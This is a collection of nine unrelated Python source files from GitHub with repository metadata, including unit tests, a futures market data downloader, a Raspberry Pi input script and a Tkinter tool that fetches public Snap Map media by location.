+{"seq_id":"21900236162","text":"from __future__ import print_function\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\nfrom torchvision import datasets, transforms\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport TestModel\npretrained_model = \"lenet_mnist_model.pth\"\nclass Net(nn.Module):\n    def __init__(self):\n        super(Net, self).__init__()\n        self.conv1 = nn.Conv2d(1, 10, kernel_size=5)\n        self.conv2 = nn.Conv2d(10, 20, kernel_size=5)\n        self.conv2_drop = nn.Dropout2d()\n        self.fc1 = nn.Linear(320, 50)\n        self.fc2 = nn.Linear(50, 10)\n\n    def forward(self, x):\n        x = F.relu(F.max_pool2d(self.conv1(x), 2))\n        x = F.relu(F.max_pool2d(self.conv2_drop(self.conv2(x)), 2))\n        x = x.view(-1, 320)\n        x = F.relu(self.fc1(x))\n        x = F.dropout(x, training=self.training)\n        x = self.fc2(x)\n        return F.log_softmax(x, dim=1)\n\n# 初始化输入数据并赋值\ndef getInitModel():\n    model = Net()\n    model.load_state_dict(torch.load(pretrained_model, map_location='cpu'))\n    model.eval()\n    print(model)\n    return model","repo_name":"tokisamu/AdversarialExampleGennerator","sub_path":"TestModel.py","file_name":"TestModel.py","file_ext":"py","file_size_in_byte":1110,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"73285180727","text":"# Classes to handle asynchronous downloads\n\nfrom threading import Thread\n\nfrom requests import exceptions, get\n\n\nclass DownloadCommand:\n    def __init__(self, url, callback, *args, **kwargs):\n        self.callback = callback\n        self.args = args\n        self.kwargs = kwargs\n        self.timeout = 5\n        self.timestamp = None\n        self.error = None\n        self.url = url\n        self.response = None\n\n\nclass AsyncDownloadService:\n    def execute(self, command, response_handler):\n        def _callback_with_args(response, **kwargs):\n            command.response = response\n            response_handler(command)\n\n        kwargs = {\"command\": command, \"callback\": _callback_with_args}\n\n        thread = Thread(target=AsyncDownloadService.download, kwargs=kwargs)\n        thread.start()\n\n    @staticmethod\n    def download(command, callback):\n        kwargs = {\"timeout\": command.timeout, \"hooks\": {\"response\": callback}}\n\n        try:\n            get(command.url, **kwargs)\n        except exceptions.RequestException as e:\n            command.error = \"Connection error \" + str(e)\n            callback(None)\n\n\nclass DownloadService:\n    def execute(self, command, response_handler):\n        try:\n            command.response = get(command.url, timeout=command.timeout)\n            response_handler(command)\n        except exceptions.RequestException as e:\n            command.error = \"Connection error \" + str(e)\n","repo_name":"bluppfisk/coindicator","sub_path":"src/coin/downloader.py","file_name":"downloader.py","file_ext":"py","file_size_in_byte":1422,"program_lang":"python","lang":"en","doc_type":"code","stars":152,"dataset":"github-code","pt":"77"}
+{"seq_id":"39287263673","text":"import RPi.GIPO as GPIO\nimport time\nimport pyautogui as pag\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport spiUtils as su\n\nGPIO.setmode(GPIO.BCM)\n\nclass Button:\n    def __init__(self, pinNum, keyToPress):\n        self.pin = pinNum\n        self.key = keyToPress\n        GPIO.setup(pinNum, GPIO.IN, pull_up_down=GPIO.PUD_DOWN)\n        GPIO.add_event_detect(pinNUM, GPIO.RISING, callback=pushButton)\n        \n    def pushButton(self, channel):\n        pag.press(key)\n        \n# setup buttons\n    # A button (pin 24)\naPin = 24\naButton = 'a'\n#GPIO.setup(aPin, GPIO.IN, pull_up_down=GPIO.PUD_DOWN)\n    # B button (pin 25)\nbPin = 25\nbButton = 'b'\n#GPIO.setup(bPin, GPIO.IN, pull_up_down=GPIO.PUD_DOWN)\n\na = Button(aPin, aButton)\nb = Button(bPin, bButton)\n\n# setup potentiometer\npot = su.readADC(channel=1)\n\ni=0\nfor i in range(0, 1000):\n   # fits potentiometer into range (-1 <-> 1)\n   plusMinusValue = (su.readADC(channel=1)/511.5)-1\n   print(plusMinusValue)\n   time.sleep(.1)\n   i=i+1\n   pag.move(200*plusMinusValue, 0)\n\n","repo_name":"benbrokaw/Capstone","sub_path":"capstone.py","file_name":"capstone.py","file_ext":"py","file_size_in_byte":1026,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"22543791872","text":"from contextlib import contextmanager\nimport os\nimport sqlite3\nfrom typing import Generator\n\nimport pytest\n\nfrom app.cache.persistent_cache import PersistentCache\nfrom app.items import Item\n\n\n@contextmanager\ndef open_cursor() -> Generator[sqlite3.Cursor, None, None]:\n    connection = sqlite3.connect(\"test.db\")\n    cursor = connection.cursor()\n    yield cursor\n    connection.commit()\n    cursor.close()\n    connection.close()\n\n\n@pytest.fixture(scope=\"module\", autouse=True)\ndef verify_cache_removed():\n    db_name = \"test.db\"\n    if os.path.exists(db_name):\n        os.remove(db_name)\n    yield\n    if os.path.exists(db_name):\n        os.remove(db_name)\n\n\n@pytest.fixture(scope=\"function\")\ndef cache():\n    db_name = \"test.db\"\n    cache = PersistentCache(db_name = db_name)\n    yield cache\n    os.remove(db_name)\n    assert not os.path.exists(db_name)\n\n\ndef test__persistent_cache__add(cache: PersistentCache[Item]):\n    # Act\n    item = Item(\"key\", \"title\", 1)\n    with cache:\n        cache.add(item.item_id, item)\n    \n    # Assert\n    with open_cursor() as cursor:\n        cursor.execute(\"SELECT * FROM items\")\n        actual = cursor.fetchall()\n\n    assert len(actual) == 1\n    assert actual[0][0] == \"key\"\n\n\ndef test__persistent_cache__count(cache: PersistentCache[Item]):\n    # Arrange\n    item = Item(\"key\", \"value_1\", 1)\n    with cache:\n        cache.add(item.item_id, item)\n    item.title = \"value_2\"\n    with cache:\n        cache.add(item.item_id, item)\n\n    # Act\n    with cache:\n        actual = cache.count(\"key\")\n\n    # Assert\n    assert actual == 2\n\n\ndef test__persistent_cache__count_empty(cache: PersistentCache[Item]):\n    # Act\n    with cache:\n        actual = cache.count(\"key\")\n\n    # Assert\n    assert actual == 0\n\n\ndef test__persistent_cache__head(cache: PersistentCache[Item]):\n    # Arrange\n    item = Item(\"key\", \"value_1\", 1)\n    with cache:\n        cache.add(item.item_id, item)\n    item.title = \"value_2\"\n    with cache:\n        cache.add(item.item_id, item)\n\n    # Act\n    with cache:\n        actual = cache.head(\"key\")\n\n    # Assert\n    assert isinstance(actual, Item)\n    assert actual.item_id == \"key\"\n    assert actual.title == \"value_2\"\n\n\ndef test__persistent_cache__head_empty(cache: PersistentCache[Item]):\n    with pytest.raises(Exception):\n        with cache:\n            cache.head(\"key\")\n\n\ndef test__persistent_cache__list(cache: PersistentCache[Item]):\n    # Arrange\n    item = Item(\"key\", \"value_1\", 1)\n    with cache:\n        cache.add(item.item_id, item)\n    item.title = \"value_2\"\n    with cache:\n        cache.add(item.item_id, item)\n\n    # Act\n    with cache:\n        actual = list(cache.list())\n\n    # Assert\n    assert len(actual) == 2\n    assert set([item.title for item in actual]) == {\"value_1\", \"value_2\"}\n","repo_name":"python-spokane/journey-to-the-pythonic-peak","sub_path":"tests/cache/persistent_cache_test.py","file_name":"persistent_cache_test.py","file_ext":"py","file_size_in_byte":2762,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"30823622590","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat May  7 14:15:21 2016\n\n@author: pikashoes\n\"\"\"\nimport random\n\ncountries = ['China', 'South Korea', 'United States', 'Brazil', 'Argentina', 'Russia',\n 'France', 'Denmark', 'Philippines', 'Taiwan', 'Norway', 'Australia',\n 'Mexico', 'Canada', 'Germany', 'Vietnam', 'Poland', 'Hong Kong', 'Spain', 'Sweden',\n 'Netherlands', 'United Kingdom', 'Singapore', 'Turkey', 'Finland', 'Lithuania', 'Estonia',\n 'Belgium', 'Thailand', 'Armenia', 'Ukraine', 'Greece', 'Chile', 'Czech Republic', 'Japan',\n 'Hungary', 'Uruguay', 'Peru', 'Israel', 'Colombia', 'Portugal', 'Kazakhstan', 'Indoensia',\n 'Afghanistan', 'Croatia', 'South Africa', 'Costa Rica', 'Iraq', 'Slovenia', 'Serbia',\n 'Panama', 'Macao', 'Italy', 'Ecuador', 'Malta', 'Iceland', 'Luxembourg']\n\n\ndef main():\n    final_file = \"\"\n    teamlist = []\n    with open('PlayerBITeam.txt', 'r') as file:\n        for line in file:\n            random_country = random.randint(0, 56)\n            line = line.replace(\"\\n\", \"\")\n            new_line = line.split('|')\n            if new_line[1] not in teamlist:\n                final_file += new_line[1] + \"|\" + countries[random_country] + \"\\n\"\n                teamlist.append(new_line[1])\n   \n    a = open('CurrentTeam.txt', 'w')\n    a.write(final_file)\n    a.close()\n\nmain()","repo_name":"pikashoes/mpcs-databases","sub_path":"Python/CurrentTeam.py","file_name":"CurrentTeam.py","file_ext":"py","file_size_in_byte":1298,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"71223059130","text":"def solution(clothes):\n    dic = dict()\n    for cloth in clothes: #초기화\n        dic[cloth[1]] = 0\n        \n    for cloth in clothes:\n        dic[cloth[1]] += 1\n    print(dic)\n    \n    \n    \n    ls = list(dic.values())\n    print(ls)\n    \n    answer = 1\n    for num in ls:\n        answer *= (num+1)\n    return answer-1\n\n'''\n1. (headgear의 수 + 1) 1을 더 해주는 이유는 headgear를 착용하지 않을 수도 있기 때문입니다.\n2. (eyewear의 수 + 1 ) 1을 더 해주는 이유는 eyewear를 착용하지 않을 수도 있기 때문입니다.\n3. 두 수는 각각 독립적이기 때문에 1번 2번의 수를 곱하고 - 1 (모두 안입는 경우는 존재하지 않으므로)\n'''\n","repo_name":"confettimimy/Python-for-coding-test","sub_path":"• 프로그래머스/해시/위장.py","file_name":"위장.py","file_ext":"py","file_size_in_byte":700,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"15471964677","text":"# -*- coding: UTF-8 -*-\n\n__author__ = 'Bruce Frank Wong'\n\n\nfrom typing import List, Optional, Union\nimport csv\nfrom pathlib import Path\nfrom enum import Enum\nimport datetime as dt\nfrom contextlib import closing\n\nimport pandas as pd\nfrom tqsdk import TqApi, TqAuth, TqSim\nfrom tqsdk.tools import DataDownloader\n\nfrom ...utility import CONFIGS, PACKAGE_PATH\n\n\nclass Symbol:\n    def __init__(self, exchange: str, product: str, delivery: str):\n        self.exchange = exchange\n        self.product = product\n        self.delivery = delivery\n\n\nclass Period(Enum):\n    Tick = 'Tick'\n    Second = 'Second'\n    Minute = 'Minute'\n    Hour = 'Hour'\n    Day = 'Day'\n    Week = 'Week'\n    Month = 'Month'\n    Year = 'Year'\n\n    def to_second(self) -> int:\n        if self.value == 'Tick':\n            return 0\n        elif self.value == 'Second':\n            return 1\n        elif self.value == 'Minute':\n            return 60\n        elif self.value == 'Hour':\n            return 60 * 60\n        elif self.value == 'Day':\n            return 60 * 60 * 24\n        elif self.value == 'Week':\n            return 60 * 60 * 24 * 5\n        elif self.value == 'Month':\n            return 60 * 60 * 24 * 5 * 4\n        elif self.value == 'Year':\n            return 60 * 60 * 24 * 5 * 4 * 12\n\n    def to_english(self) -> str:\n        if self.value == 'Tick':\n            return 'Tick'\n        elif self.value == 'Second':\n            return 'Second'\n        elif self.value == 'Minute':\n            return 'Minute'\n        elif self.value == 'Hour':\n            return 'Hour'\n        elif self.value == 'Day':\n            return 'Day'\n        elif self.value == 'Week':\n            return 'Week'\n        elif self.value == 'Month':\n            return 'Month'\n        elif self.value == 'Year':\n            return 'Year'\n\n    def to_chinese(self) -> str:\n        if self.value == 'Tick':\n            return 'Tick'\n        elif self.value == 'Second':\n            return '秒'\n        elif self.value == 'Minute':\n            return '分钟'\n        elif self.value == 'Hour':\n            return '小时'\n        elif self.value == 'Day':\n            return '日'\n        elif self.value == 'Week':\n            return '周'\n        elif self.value == 'Month':\n            return '月'\n        elif self.value == 'Year':\n            return '年'\n\n    def __str__(self, chinese: bool = False):\n        if chinese:\n            return self.to_chinese()\n        else:\n            return self.to_english()\n\n\nclass DownloadRequest:\n    symbol: str\n    start: Union[dt.datetime, dt.date]\n    end: Union[dt.datetime, dt.date]\n    period: Period\n\n    def __init__(self,\n                 symbol: str,\n                 period: Period,\n                 start: Union[dt.datetime, dt.date],\n                 end: Optional[Union[dt.datetime, dt.date]] = None\n                 ):\n        self.symbol = symbol\n        self.period = period\n        self.start = start\n        if end:\n            if isinstance(end, dt.date):\n                self.end = end if end < dt.date.today() else dt.date.today()\n            else:\n                self.end = end if end < dt.datetime.now() else dt.datetime.now()\n        else:\n            if isinstance(start, dt.date):\n                self.end = dt.date.today()\n            else:\n                self.end = dt.datetime.now()\n\n\ndef tq_download(download_request_list: List[DownloadRequest]):\n    # TqSDK api.\n    tq_api: TqApi = TqApi(\n        auth=TqAuth(\n            CONFIGS['TQ']['account'],\n            CONFIGS['TQ']['password']\n        )\n    )\n\n    # Download path, make sure it existed.\n    download_path: Path = PACKAGE_PATH.joinpath('data_downloaded')\n    if not download_path.exists():\n        download_path.mkdir()\n\n    # csv header.\n    bar_column_list: List[str] = [\n        'open', 'high', 'low', 'close', 'volume', 'open_oi', 'close_oi'\n    ]\n    tick_column_list: List[str] = [\n        'last_price', 'highest', 'lowest',\n        'bid_price1', 'bid_volume1', 'ask_price1', 'ask_volume1',\n        'volume', 'amount', 'open_interest'\n    ]\n\n    # Do the download.\n    task_name: str\n    file_path: Path\n    task: DataDownloader\n    with closing(tq_api):\n        download_request: DownloadRequest\n        for download_request in download_request_list:\n            task_name = download_request.symbol\n            file_path = download_path.joinpath(\n                f'{download_request.symbol}_{download_request.period.to_english()}.csv'\n            )\n            task = DataDownloader(\n                tq_api,\n                symbol_list=download_request.symbol,\n                dur_sec=download_request.period.to_second(),\n                start_dt=download_request.start,\n                end_dt=download_request.end,\n                csv_file_name=str(file_path)\n            )\n\n            while not task.is_finished():\n                tq_api.wait_update()\n                print(\n                    f'正在下载 [{task_name}] 的 {download_request.period.to_chinese()} 数据，'\n                    f'已完成： {task.get_progress():>7.3f}%。'\n                )\n\n            # 处理下载好的 csv 文件的 header, 也就是 pandas.DataFrame 的 column.\n            if task.is_finished():\n                df = pd.read_csv(file_path)\n                if download_request.period.to_second() == Period.Tick:\n                    column_list = tick_column_list\n                else:\n                    column_list = bar_column_list\n                for column in column_list:\n                    column_x = ''.join([download_request.symbol, '.', column])\n                    if column_x in df.columns:\n                        df.rename(columns={column_x: column}, inplace=True)\n                df.to_csv(file_path, index=False)\n","repo_name":"BruceFrankWong/Research","sub_path":"InvestmentResearch/collector/tq/tq.py","file_name":"tq.py","file_ext":"py","file_size_in_byte":5735,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"17464897023","text":"from ax.core.parameter import (\n    ChoiceParameter,\n    FixedParameter,\n    ParameterType,\n    RangeParameter,\n)\nfrom ax.core.parameter_constraint import (\n    ComparisonOp,\n    OrderConstraint,\n    ParameterConstraint,\n    SumConstraint,\n)\nfrom ax.utils.common.testutils import TestCase\n\n\nclass ParameterConstraintTest(TestCase):\n    def setUp(self) -> None:\n        self.constraint = ParameterConstraint(\n            constraint_dict={\"x\": 2.0, \"y\": -3.0}, bound=6.0\n        )\n        self.constraint_repr = \"ParameterConstraint(2.0*x + -3.0*y <= 6.0)\"\n\n    def test_Eq(self) -> None:\n        constraint1 = ParameterConstraint(\n            constraint_dict={\"x\": 2.0, \"y\": -3.0}, bound=6.0\n        )\n        constraint2 = ParameterConstraint(\n            constraint_dict={\"y\": -3.0, \"x\": 2.0}, bound=6.0\n        )\n        self.assertEqual(constraint1, constraint2)\n\n        constraint3 = ParameterConstraint(\n            constraint_dict={\"x\": 2.0, \"y\": -5.0}, bound=6.0\n        )\n        self.assertNotEqual(constraint1, constraint3)\n\n    def test_Properties(self) -> None:\n        self.assertEqual(self.constraint.constraint_dict[\"x\"], 2.0)\n        self.assertEqual(self.constraint.bound, 6.0)\n\n    def test_Repr(self) -> None:\n        self.assertEqual(str(self.constraint), self.constraint_repr)\n\n    def test_Validate(self) -> None:\n        parameters = {\"x\": 4, \"z\": 3}\n        with self.assertRaises(ValueError):\n            # pyre-fixme[6]: For 1st param expected `Dict[str, Union[float, int]]`\n            #  but got `Dict[str, int]`.\n            self.constraint.check(parameters)\n\n        # check slack constraint\n        parameters = {\"x\": 4, \"y\": 1}\n        # pyre-fixme[6]: For 1st param expected `Dict[str, Union[float, int]]` but\n        #  got `Dict[str, int]`.\n        self.assertTrue(self.constraint.check(parameters))\n\n        # check tight constraint (within numerical tolerance)\n        parameters = {\"x\": 4, \"y\": (2 - 0.5e-8) / 3}\n        self.assertTrue(self.constraint.check(parameters))\n\n        # check violated constraint\n        parameters = {\"x\": 4, \"y\": (2 - 0.5e-6) / 3}\n        self.assertFalse(self.constraint.check(parameters))\n\n    def test_Clone(self) -> None:\n        constraint_clone = self.constraint.clone()\n        self.assertEqual(self.constraint.bound, constraint_clone.bound)\n\n        constraint_clone._bound = 7.0\n        self.assertNotEqual(self.constraint.bound, constraint_clone.bound)\n\n    def test_CloneWithTransformedParameters(self) -> None:\n        constraint_clone = self.constraint.clone_with_transformed_parameters(\n            transformed_parameters={}\n        )\n        self.assertEqual(self.constraint.bound, constraint_clone.bound)\n\n        constraint_clone._bound = 7.0\n        self.assertNotEqual(self.constraint.bound, constraint_clone.bound)\n\n    def test_Sortable(self) -> None:\n        constraint1 = ParameterConstraint(\n            constraint_dict={\"x\": 2.0, \"y\": -3.0}, bound=1.0\n        )\n        constraint2 = ParameterConstraint(\n            constraint_dict={\"y\": -3.0, \"x\": 2.0}, bound=6.0\n        )\n        self.assertTrue(constraint1 < constraint2)\n\n\nclass OrderConstraintTest(TestCase):\n    def setUp(self) -> None:\n        self.x = RangeParameter(\"x\", ParameterType.INT, lower=0, upper=1)\n        self.y = RangeParameter(\"y\", ParameterType.INT, lower=0, upper=1)\n        self.constraint = OrderConstraint(\n            lower_parameter=self.x, upper_parameter=self.y\n        )\n        self.constraint_repr = \"OrderConstraint(x <= y)\"\n\n    def test_Properties(self) -> None:\n        self.assertEqual(self.constraint.lower_parameter.name, \"x\")\n        self.assertEqual(self.constraint.upper_parameter.name, \"y\")\n\n    def test_Repr(self) -> None:\n        self.assertEqual(str(self.constraint), self.constraint_repr)\n\n    def test_Validate(self) -> None:\n        self.assertTrue(self.constraint.check({\"x\": 0, \"y\": 1}))\n        self.assertTrue(self.constraint.check({\"x\": 1, \"y\": 1}))\n        self.assertFalse(self.constraint.check({\"x\": 1, \"y\": 0}))\n\n    def test_Clone(self) -> None:\n        constraint_clone = self.constraint.clone()\n        self.assertEqual(\n            self.constraint.lower_parameter, constraint_clone.lower_parameter\n        )\n\n        constraint_clone._lower_parameter = self.y\n        self.assertNotEqual(\n            self.constraint.lower_parameter, constraint_clone.lower_parameter\n        )\n\n    def test_CloneWithTransformedParameters(self) -> None:\n        constraint_clone = self.constraint.clone_with_transformed_parameters(\n            transformed_parameters={p.name: p for p in self.constraint.parameters}\n        )\n        self.assertEqual(\n            self.constraint.lower_parameter, constraint_clone.lower_parameter\n        )\n\n        constraint_clone._lower_parameter = self.y\n        self.assertNotEqual(\n            self.constraint.lower_parameter, constraint_clone.lower_parameter\n        )\n\n    def test_InvalidSetup(self) -> None:\n        z = FixedParameter(\"z\", ParameterType.INT, 0)\n        with self.assertRaises(ValueError):\n            self.constraint = OrderConstraint(lower_parameter=self.x, upper_parameter=z)\n\n        z = ChoiceParameter(\"z\", ParameterType.STRING, [\"a\", \"b\", \"c\"])\n        with self.assertRaises(ValueError):\n            self.constraint = OrderConstraint(lower_parameter=self.x, upper_parameter=z)\n\n\nclass SumConstraintTest(TestCase):\n    def setUp(self) -> None:\n        self.x = RangeParameter(\"x\", ParameterType.INT, lower=-5, upper=5)\n        self.y = RangeParameter(\"y\", ParameterType.INT, lower=-5, upper=5)\n        self.constraint1 = SumConstraint(\n            parameters=[self.x, self.y], is_upper_bound=True, bound=5\n        )\n        self.constraint2 = SumConstraint(\n            parameters=[self.x, self.y], is_upper_bound=False, bound=-5\n        )\n\n        self.constraint_repr1 = \"SumConstraint(x + y <= 5.0)\"\n        self.constraint_repr2 = \"SumConstraint(x + y >= -5.0)\"\n\n    def test_BadConstruct(self) -> None:\n        with self.assertRaises(ValueError):\n            SumConstraint(parameters=[self.x, self.x], is_upper_bound=False, bound=-5.0)\n        z = ChoiceParameter(\"z\", ParameterType.STRING, [\"a\", \"b\", \"c\"])\n        with self.assertRaises(ValueError):\n            # pyre-fixme[16]: `SumConstraintTest` has no attribute `constraint`.\n            self.constraint = SumConstraint(\n                parameters=[self.x, z], is_upper_bound=False, bound=-5.0\n            )\n\n    def test_Properties(self) -> None:\n        self.assertEqual(self.constraint1.op, ComparisonOp.LEQ)\n        self.assertTrue(self.constraint1._is_upper_bound)\n\n        self.assertEqual(self.constraint2.op, ComparisonOp.GEQ)\n        self.assertFalse(self.constraint2._is_upper_bound)\n\n    def test_Repr(self) -> None:\n        self.assertEqual(str(self.constraint1), self.constraint_repr1)\n        self.assertEqual(str(self.constraint2), self.constraint_repr2)\n\n    def test_Validate(self) -> None:\n        self.assertTrue(self.constraint1.check({\"x\": 1, \"y\": 4}))\n        self.assertTrue(self.constraint1.check({\"x\": 4, \"y\": 1}))\n        self.assertFalse(self.constraint1.check({\"x\": 1, \"y\": 5}))\n\n        self.assertTrue(self.constraint2.check({\"x\": -4, \"y\": -1}))\n        self.assertTrue(self.constraint2.check({\"x\": -1, \"y\": -4}))\n        self.assertFalse(self.constraint2.check({\"x\": -5, \"y\": -1}))\n\n    def test_Clone(self) -> None:\n        constraint_clone = self.constraint1.clone()\n        self.assertEqual(self.constraint1.bound, constraint_clone.bound)\n\n        constraint_clone._bound = 7.0\n        self.assertNotEqual(self.constraint1.bound, constraint_clone.bound)\n\n        constraint_clone_2 = self.constraint2.clone()\n        self.assertEqual(self.constraint2.bound, constraint_clone_2.bound)\n\n    def test_CloneWithTransformedParameters(self) -> None:\n        constraint_clone = self.constraint1.clone_with_transformed_parameters(\n            transformed_parameters={p.name: p for p in self.constraint1.parameters}\n        )\n        self.assertEqual(self.constraint1.bound, constraint_clone.bound)\n\n        constraint_clone._bound = 7.0\n        self.assertNotEqual(self.constraint1.bound, constraint_clone.bound)\n","repo_name":"facebook/Ax","sub_path":"ax/core/tests/test_parameter_constraint.py","file_name":"test_parameter_constraint.py","file_ext":"py","file_size_in_byte":8161,"program_lang":"python","lang":"en","doc_type":"code","stars":2182,"dataset":"github-code","pt":"77"}
+{"seq_id":"41415231281","text":"from os import mkdir, remove, rmdir, listdir\r\nfrom tkinter import Tk, Toplevel, ttk, Label, Entry, Button\r\nfrom tkinter.filedialog import asksaveasfilename\r\nfrom subprocess import run, call\r\nfrom os import startfile, getcwd\r\nfrom geopy.geocoders import Nominatim\r\nfrom typing import Union\r\n\r\nclass Snapchat:\r\n\r\n    def __init__(self, parent: Union[Tk, Toplevel], long: str = None, lat: str = None, city: str = None):\r\n        self.parent = parent\r\n        self.long = long\r\n        self.lat = lat\r\n        self.city = city\r\n        self.parent.iconify()\r\n        try:\r\n            mkdir(\"temp\")\r\n        except FileExistsError:\r\n            print(\"Folder already exists, possible messy exit previously\")\r\n        self.snapwindow = self.genWindow()\r\n        self.genWidgets()\r\n\r\n    # Generates the window\r\n    def genWindow(self) -> Toplevel:\r\n        snapwindow = Toplevel(self.parent)\r\n        snapwindow.title(\"Snapchat\")\r\n        snapwindow.resizable(False, False)\r\n        snapwindow.geometry(\"+%d+%d\" % (self.parent.winfo_x(), self.parent.winfo_y()))\r\n        snapwindow.protocol(\"WM_DELETE_WINDOW\", lambda: self.closewin())\r\n        return snapwindow\r\n\r\n    # Generates the widgets to be displayed on the window\r\n    def genWidgets(self) -> None:\r\n        # Labels\r\n        latLabel = Label(self.snapwindow, text=\"Latitude: \")\r\n        longLabel = Label(self.snapwindow, text=\"Longitude: \")\r\n        cityLabel = Label(self.snapwindow, text=\"City: \")\r\n        radiusLabel = Label(self.snapwindow, text=\"Radius (meters): \")\r\n\r\n        # Entries\r\n        latEntry = Entry(self.snapwindow, width=20)\r\n        longEntry = Entry(self.snapwindow, width=20)\r\n        cityEntry = Entry(self.snapwindow, width=20)\r\n        radiusEntry = Entry(self.snapwindow, width=10)\r\n\r\n        radiusEntry.insert(0, \"10000\")\r\n\r\n        # Button\r\n        SearchButton = Button(self.snapwindow, text=\"Search\", command=lambda: self.verifyInput(latEntry.get(), longEntry.get(), cityEntry.get(), radiusEntry.get()))\r\n        SaveButton = Button(self.snapwindow, text=\"Save\", command=lambda: self.saveFile())\r\n\r\n        # Autofill\r\n        if self.long:\r\n            longEntry.insert(0, self.long)\r\n        if self.lat:\r\n            latEntry.insert(0, self.lat)\r\n        if self.city:\r\n            cityEntry.insert(0, self.city)\r\n\r\n        # Treeview\r\n        self.details = ttk.Treeview(self.snapwindow, show=\"headings\", height=\"6\")\r\n\r\n        self.details['columns'] = (\"Name\", \"Type\")\r\n        self.details.column(\"#0\", width=0)\r\n        self.details.column(\"Name\", width=350)\r\n        self.details.column(\"Type\", width=150, minwidth=80)\r\n\r\n        self.details.heading(\"#0\", text=\"\")\r\n        self.details.heading(\"Name\", text=\"Name\")\r\n        self.details.heading(\"Type\", text=\"Type\")\r\n\r\n        scroll = ttk.Scrollbar(self.snapwindow, orient=\"vertical\", command=self.details.yview)\r\n        self.details.config(yscrollcommand=scroll.set)\r\n        self.details.bind(\"<Double-1>\", self.openFile)\r\n\r\n        # Grid Layout\r\n        latLabel.grid(row=0, column=0, sticky=\"E\")\r\n        latEntry.grid(row=0, column=1, padx=(0, 5))\r\n        longLabel.grid(row=0, column=2, sticky=\"E\")\r\n        longEntry.grid(row=0, column=3, padx=(0, 5))\r\n        radiusLabel.grid(row=1, column=2, sticky=\"E\")\r\n        radiusEntry.grid(row=1, column=3, padx=(0, 5))\r\n        cityLabel.grid(row=1, column=0, sticky=\"E\")\r\n        cityEntry.grid(row=1, column=1, padx=(0, 5))\r\n\r\n        SearchButton.grid(row=2, column=2, columnspan=1, sticky=\"NSEW\", pady=10)\r\n        SaveButton.grid(row=4, column=2, pady=(0, 10))\r\n\r\n        self.details.grid(row=3, column=0, columnspan=4, padx=(5, 0), pady=5)\r\n        scroll.grid(row=3, column=4, padx=(0, 5), sticky=\"NS\")\r\n\r\n    # Opens the images displayed in the treeview when double clicked\r\n    def openFile(self, event) -> None:\r\n        filename = getcwd() + \"/temp/\" + self.details.item(self.details.focus())['values'][0]\r\n        try:\r\n            startfile(filename)\r\n        except AttributeError:\r\n            call(['open', filename])\r\n\r\n    # Saves the file to a directory of their choice from the temp folder\r\n    def saveFile(self) -> None:\r\n        if self.details.item(self.details.focus())['values'][1] == \"Image\":\r\n            file = asksaveasfilename(initialfile=self.details.item(self.details.focus())['values'][0].rsplit(\".\", 1)[0], filetypes=[(\"JPG image\", \"*.jpg\")]) + \".jpg\"\r\n        else:\r\n            file = asksaveasfilename(initialfile=self.details.item(self.details.focus())['values'][0].rsplit(\".\", 1)[0], filetypes=[(\"MPEG video\", \"*.mp4\")]) + \".mp4\"\r\n        if len(file) > 4:\r\n            with open(file, \"wb+\") as f:\r\n                with open(getcwd() + \"/temp/\" + self.details.item(self.details.focus())['values'][0], \"rb\") as f2:\r\n                    f.write(f2.read())\r\n\r\n    # Checks to see if the range is an int, and gets the lat, long of the city if chosen\r\n    def verifyInput(self, lat: str, long: str, city: str, range: str) -> None:\r\n        try:\r\n            rangeInt = int(range)\r\n        except ValueError:\r\n            print(\"Error, radius isn't a number. Resorting to default!\")\r\n            rangeInt = 10000\r\n        if lat == \"\":\r\n            geo = Nominatim(user_agent=\"CTI Toolkit\")\r\n            location = geo.geocode(city)\r\n            lat = location.latitude\r\n            long = location.longitude\r\n\r\n        coords: str = str(lat) + \",\" + str(long)\r\n\r\n        self.searchSnap(coords, rangeInt)\r\n\r\n    # Clears the temp folder, and then runs the snapmap_archiver python module\r\n    def searchSnap(self, coords: str, range: int) -> None:\r\n        # Cleanup\r\n        self.details.delete(*self.details.get_children())\r\n        for files in listdir(\"temp\"):\r\n            remove(\"temp/\" + files)\r\n\r\n        # Runs the command (Will freeze the program)\r\n        run('python -m snapmap_archiver -o temp -l=\\\"{}\\\" -r {}'.format(coords, range))\r\n\r\n        # Lists the output\r\n        for files in listdir(\"temp\"):\r\n            if \"mp4\" in files.rsplit(\".\")[1]:\r\n                self.details.insert(\"\", 'end', values=(files, \"Video\"))\r\n            else:\r\n                self.details.insert(\"\", 'end', values=(files, \"Image\"))\r\n\r\n    # Closes the window\r\n    def closewin(self) -> None:\r\n        for file in listdir(\"temp\"):\r\n            remove(\"temp/\" + file)\r\n        rmdir(\"temp\")\r\n        self.parent.deiconify()\r\n        self.snapwindow.destroy()\r\n","repo_name":"AlanTheBlank/CTI-Toolkit","sub_path":"snapchat.py","file_name":"snapchat.py","file_ext":"py","file_size_in_byte":6397,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
